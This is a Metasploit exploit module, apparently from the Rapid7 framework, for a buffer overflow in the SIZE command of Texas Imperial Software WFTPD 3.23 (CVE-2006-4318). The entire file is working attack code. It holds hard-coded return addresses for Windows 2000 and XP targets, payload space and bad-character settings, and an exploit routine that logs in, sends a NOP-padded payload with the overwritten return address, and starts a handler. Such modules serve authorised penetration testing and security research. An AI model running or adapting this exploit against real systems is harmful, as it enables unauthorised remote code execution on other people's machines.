##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Texas Imperial Software WFTPD 3.23 SIZE Overflow',
        'Description' => %q{
          This module exploits a buffer overflow in the SIZE verb in
          Texas Imperial's Software WFTPD 3.23.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-4318' ],
          [ 'OSVDB', '28134' ],
          [ 'BID', '19617' ],
        ],
        'Privileged' => true,
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 500,
          'BadChars' => "\x00\x20\x0a\x0d",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 Pro SP4 English',	{ 'Ret' => 0x7c2d3028 } ],
          [ 'Windows XP Pro SP1 English',	{ 'Ret' => 0x77dd1595 } ],
          [ 'Windows XP Pro SP2 English', { 'Ret' => 0x77d498ec } ],
        ],
        'DisclosureDate' => '2006-08-23',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def exploit
    c = connect_login
    return if not c

    sploit = "/" + make_nops(525 - payload.encoded.length)
    sploit << payload.encoded + [target.ret].pack('V')

    print_status("Trying target #{target.name}...")

    send_cmd(['SIZE', sploit], false)
    select(nil, nil, nil, 2)

    handler
    disconnect
  end
end
